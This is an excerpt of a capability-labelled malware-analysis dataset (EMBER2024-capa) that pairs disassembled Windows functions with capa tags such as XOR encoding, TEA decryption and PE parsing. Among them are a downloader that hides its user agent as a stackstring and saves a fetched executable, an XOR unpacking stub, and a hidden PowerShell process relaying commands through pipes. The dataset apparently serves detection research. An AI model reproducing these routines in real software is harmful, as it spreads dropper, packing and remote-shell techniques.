joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ff70
Capabilities:
Contain obfuscated stackstrings
Read data from internet
Receive data

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [0x478b44]
mov ebx, eax
cmp ebx, edi
jne 0x41002b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push 0x80000000
push edi
push edi
push ecx
push ebx
call dword [0x478b48]
mov ebp, eax
cmp ebp, edi
jne 0x410055
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [0x478b40]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x4100e1
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test esi, esi
je 0x4100a7
cmp word [esp + 0x3c], 0x5a4d
jne 0x4100ce
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [0x478b3c]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x4100d6
jmp 0x410077
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [0x478b64]
push ebp
call dword [0x478b4c]
push ebx
call dword [0x478b4c]
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x44ed20
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x44ed5a
mov eax, 0xfffff800
jmp 0x44ed6a
cmp ax, 0x7ff
jle 0x44ed67
mov eax, 0x7ff
jmp 0x44ed6a
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x44ed80
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x44ee02
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x44edc4
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x44ee06
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x4dc6dc
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x4dc6f5
mov esi, edi
mov edi, eax
jmp 0x4dc6f7
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x4dc707
mov eax, ebx
jmp 0x4dc711
push eax
push ebx
call fcn.004c34ac
add esp, 8
test eax, eax
jne 0x4dc719
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x4dc737
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
add eax, 1
cmp eax, dword [edi + 4]
jl 0x4dc720
cmp eax, dword [esi + 4]
jge 0x4dc74e
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
add eax, 1
cmp eax, dword [esi + 4]
jl 0x4dc73c
mov eax, dword [esi + 4]
test eax, eax
mov dword [ebx + 4], eax
jle 0x4dc771
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x4dc76e
sub eax, 1
test eax, eax
jg 0x4dc75e
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x54011c
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], edx
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
mov edi, 0xc6ef3720
mov dword [ebp + 0xc], edx
mov dword [ebp - 0xc], ecx
mov edx, esi
dec ebx
shr edx, 5
add edx, ecx
mov ecx, esi
shl ecx, 4
add ecx, dword [ebp + 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
sub eax, edx
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [ebp - 4]
shl ecx, 4
add ecx, dword [ebp - 8]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
lea edi, [edi + 0x61c88647]
mov ecx, dword [ebp - 0xc]
sub esi, edx
test ebx, ebx
jg 0x540151
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x54058c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 4]
mov dword [ebp + 0xc], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov edx, eax
lea edi, [edi - 0x61c88647]
shr edx, 5
mov ecx, eax
add edx, dword [ebp + 0xc]
dec ebx
shl ecx, 4
add ecx, dword [ebp - 4]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shr edx, 5
add edx, dword [ebp - 8]
shl ecx, 4
add ecx, dword [ebp - 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
add eax, edx
test ebx, ebx
jg 0x5405be
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x549a9c
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1012014c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x28], esi
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x40
jle 0x549ad6
lea eax, [ebp - 0x24]
push eax
push ebx
push edi
call fcn.005496dc
add esp, 0xc
lea edi, [ebp - 0x24]
mov ebx, 0x20
push 0x40
lea eax, [esi + 0x68]
push 0x36
push eax
call fcn.005550fc
push 0x40
add esi, 0xa8
push 0x5c
push esi
call fcn.005550fc
add esp, 0x18
test ebx, ebx
jle 0x549b14
nop
movzx eax, byte [edi]
lea edi, [edi + 1]
xor byte [esi - 0x40], al
lea esi, [esi + 1]
movzx eax, byte [edi - 1]
xor byte [esi - 1], al
sub ebx, 1
jne 0x549afc
mov esi, dword [ebp - 0x28]
push 0
push esi
call fcn.00549b5c
push 0x40
lea eax, [esi + 0x68]
push eax
push esi
call fcn.00549b9c
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00551c39
mov esp, ebp
pop ebp
ret

Function at 0x550eac
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], edx
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
mov edi, 0xc6ef3720
mov dword [ebp + 0xc], edx
mov dword [ebp - 0xc], ecx
mov edx, esi
dec ebx
shr edx, 5
add edx, ecx
mov ecx, esi
shl ecx, 4
add ecx, dword [ebp + 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
sub eax, edx
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [ebp - 4]
shl ecx, 4
add ecx, dword [ebp - 8]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
lea edi, [edi + 0x61c88647]
mov ecx, dword [ebp - 0xc]
sub esi, edx
test ebx, ebx
jg 0x550ee1
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x55108c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 4]
mov dword [ebp + 0xc], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov edx, eax
lea edi, [edi - 0x61c88647]
shr edx, 5
mov ecx, eax
add edx, dword [ebp + 0xc]
dec ebx
shl ecx, 4
add ecx, dword [ebp - 4]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shr edx, 5
add edx, dword [ebp - 8]
shl ecx, 4
add ecx, dword [ebp - 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
add eax, edx
test ebx, ebx
jg 0x5510be
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5997ab
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00599392
Function at 0x5997b6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00599521

Function at 0x5b186c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5b1899
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5b1899
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x1a390849
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x61901900
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401083
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
nop
mov eax, 0xc
push eax
mov eax, 0
push eax
lea eax, [ebp - 0xc]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0xc
mov dword [ebp - 0xc], eax
mov eax, 1
mov dword [ebp - 4], eax
mov eax, 0
mov dword [ebp - 8], eax
mov eax, 0
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, 0x402360
push eax
mov eax, 0x40235c
push eax
call sub.kernel32.dll_CreatePipe
cmp eax, 0
je 0x4010e6
jmp 0x401104
call sub.kernel32.dll_GetLastError
push eax
mov eax, 0x402003
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 1
jmp 0x401216
mov eax, 0
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, 0x402368
push eax
mov eax, 0x402364
push eax
call sub.kernel32.dll_CreatePipe
cmp eax, 0
je 0x40112d
jmp 0x40114b
call sub.kernel32.dll_GetLastError
push eax
mov eax, str.CreatePipe_failed_with_error__d_n
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 1
jmp 0x401216
mov eax, 0x44
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x50]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x44
mov dword [ebp - 0x50], eax
mov eax, dword [0x402364]
mov dword [ebp - 0x18], eax
mov eax, dword [0x402360]
mov dword [ebp - 0x14], eax
mov eax, dword [0x402360]
mov dword [ebp - 0x10], eax
mov eax, 0x100
mov dword [ebp - 0x24], eax
mov eax, 0x40236c
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0x8000000
push eax
mov eax, 1
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str.powershell.exe
push eax
mov eax, 0
push eax
call sub.kernel32.dll_CreateProcessA
cmp eax, 0
je 0x4011db
jmp 0x4011f9
call sub.kernel32.dll_GetLastError
push eax
mov eax, str.CreateProcess_failed_with_error__d_n
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 1
jmp 0x401216
mov eax, dword [0x402364]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x402360]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0
leave
ret

Function at 0x401218
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
nop
mov eax, dword [ebp + 8]
push eax
call sub.msvcrt.dll_strlen
add esp, 4
mov ecx, 0
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [0x402368]
push eax
call sub.kernel32.dll_WriteFile
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, 0
je 0x40125d
jmp 0x401271
call sub.kernel32.dll_GetLastError
push eax
mov eax, str.WriteFile_failed_with_error__d_n
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, 0x402098
mov dword [ebp - 0xc], eax
mov eax, 0
push eax
lea eax, [ebp - 4]
push eax
mov eax, 1
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x402368]
push eax
call sub.kernel32.dll_WriteFile
leave
ret
Function at 0x40129b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
nop
call fcn.00401083
cmp eax, 0
je 0x4012bd
mov eax, 1
jmp 0x4013e9
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, section..text
push eax
call sub.msvcrt.dll__beginthread
add esp, 0xc
mov eax, 0x40209a
push eax
call fcn.00401218
add esp, 4
mov eax, str.___exit___n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [sym.imp.msvcrt.dll__iob]
push eax
mov eax, 0x400
push eax
lea eax, [ebp - 0x400]
push eax
call sub.msvcrt.dll_fgets
add esp, 0xc
cmp eax, 0
jne 0x40132b
mov eax, 0x4020c8
push eax
call sub.msvcrt.dll_printf
add esp, 4
jmp 0x4012e5
mov eax, 0x4020dc
push eax
lea eax, [ebp - 0x400]
push eax
call sub.msvcrt.dll_strcspn
add esp, 8
lea ecx, [ebp - 0x400]
add ecx, eax
mov eax, 0
mov byte [ecx], al
mov eax, 0x4020de
push eax
lea eax, [ebp - 0x400]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x401372
jmp 0x401386
lea eax, [ebp - 0x400]
push eax
call fcn.00401218
add esp, 4
jmp 0x4012e5
mov eax, 0x4020e3
push eax
call fcn.00401218
add esp, 4
mov eax, 0xffffffff
push eax
mov eax, dword [0x40236c]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [0x402368]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40235c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40236c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x402370]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, str._n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0
leave
ret
Function at 0x401780
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402550
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402550
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401900
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401814
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401897
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401800
mov dword [esp], ebx
call fcn.00402230
mov edi, eax
test eax, eax
je 0x401927
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402370
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401907
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401890
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x4018a0
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401890
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401780
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40181e
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401780
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401780
lea esi, cs:[esi]
nop
Function at 0x401e80
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x401ed5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401ece
test eax, eax
jne 0x401ece
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401eb0
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402255
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402260
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402255
push esi
push ebx
mov ebx, dword [esp + 0xc]
movzx eax, word [ecx + 0x400014]
movzx esi, word [ecx + 0x400006]
sub ebx, 0x400000
lea eax, [edx + eax + 0x18]
test si, si
je 0x4022a8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40229e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4022aa
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402290
xor eax, eax
pop ebx
pop esi
ret
Function at 0x402eb8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004046c8
test esi, esi
jne 0x402eef
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004047b8
jmp 0x402f10
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402d54
mov dword [esp], eax
test esi, esi
je 0x402f10
cmp dword [ebx], 0
je 0x402f10
dec esi
jmp 0x402ef7
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403704
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4a6020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40379c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40377c
xor eax, eax
push ebp
push 0x403775
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4037b8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40377c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4a6020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4a6020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4044a0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4aa04c], 0
je 0x404501
cmp word [0x4aa220], 0xd7b2
jne 0x4044c9
cmp dword [0x4aa228], 0
jbe 0x4044c9
mov eax, 0x4aa21c
call dword [0x4aa238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4a6074
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404528
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4a6030], 0
jne 0x40451d
push 0
push 0x4a606c
push 0x4a6074
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40467c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402af4
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4aa04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404644
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc